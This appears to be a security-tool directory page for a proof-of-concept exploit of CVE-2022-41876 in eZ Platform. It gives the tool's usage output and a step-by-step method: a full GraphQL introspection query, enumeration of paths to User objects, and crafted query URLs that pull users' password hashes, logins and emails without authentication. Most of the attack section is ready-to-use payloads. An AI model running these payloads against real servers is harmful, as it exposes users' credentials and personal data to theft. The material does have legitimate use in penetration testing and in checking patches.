Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2022-41876 — PoC for CVE-2022-41876 | Kitploit
Tools/GitHubGitHub/skileau/cve-2022-41876
Vulnerability AnalysisExploitationInformation GatheringWeb SecurityPenetration Testing
GitHubskileau/cve-2022-41876

CVE-2022-41876

PoC for CVE-2022-41876

View Repository
7113 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
ibexa logo

Python3.9 current version
Twitter Skilo Twitter TahiTi

CVE-2022-41876 - eZ Platform user information disclosure

A vulnerability emerged in eZ Platform letting an unauthenticated user access every contributor password's hash. This PoC enumerates every possible GraphQL path leading to a 'User' object, and then requests these paths to retrieve users' confidential information.

Usage

root@kitploit:~
python3 cve-2022-41876.py -h
root@kitploit:~
usage: cve-2022-41876.py [-h] [-t] [-f FILE] url

CVE-2022-41876 POC

positional arguments:
  url                   Target URL (specify the graphql endpoint)

optional arguments:
  -h, --help            show this help message and exit
  -t, --thread          Number of threads
  -f FILE, --file FILE  Local path to introspect file
Download Tool

Results

image

How it works ?

The different steps followed by this tool to exploit the CVE are:

Retrieving introspect file

The first step to exploit this CVE is to get an introspect.json file. One way to retrieve it is to query the graphql endpoint of the server with the following payload:

root@kitploit:~
https://<your-url>/graphql?query={__schema{queryType{name}mutationType{name}subscriptionType{name}types{...FullType}directives{name%20description%20locations%20args{...InputValue}}}}fragment%20FullType%20on%20__Type{kind%20name%20description%20fields(includeDeprecated:true){name%20description%20args{...InputValue}type{...TypeRef}isDeprecated%20deprecationReason}inputFields{...InputValue}interfaces{...TypeRef}enumValues(includeDeprecated:true){name%20description%20isDeprecated%20deprecationReason}possibleTypes{...TypeRef}}fragment%20InputValue%20on%20__InputValue{name%20description%20type{...TypeRef}defaultValue}fragment%20TypeRef%20on%20__Type{kind%20name%20ofType{kind%20name%20ofType{kind%20name%20ofType{kind%20name%20ofType{kind%20name%20ofType{kind%20name%20ofType{kind%20name%20ofType{kind%20name}}}}}}}}

Finding paths to User objects

Then the json given by the server can be used to extract all paths to the 'User' objects with the tool graphql-enum-path like this:

image

Requesting found paths to get users' data

Finally, once all the paths are found, a specific payload must be crafted this way and sent to the server:

root@kitploit:~
https://<your-url>/graphql?query={element1{element2{element3{...{id,name,login,passwordHash,email,enabled,maxLogin}}}}}

Where elements correspond to the texts between bracket in the result of graphql-enum-path (note that a query must be done for each path).

So, with the graphql-enum-path example above, the first payload would be:

root@kitploit:~
https://<your-url>/graphql?query={_repository{location{contentInfo{contentType{creator{id,name,login,passwordHash,email,enabled,maxLogin}}}}}}

If the server is vulnerable to this CVE, it will respond to that query with a json file containing its users' data.

References

Hacktricks

graphql-enum-path

Credits

This PoC was created by @Skilo and @TahiTi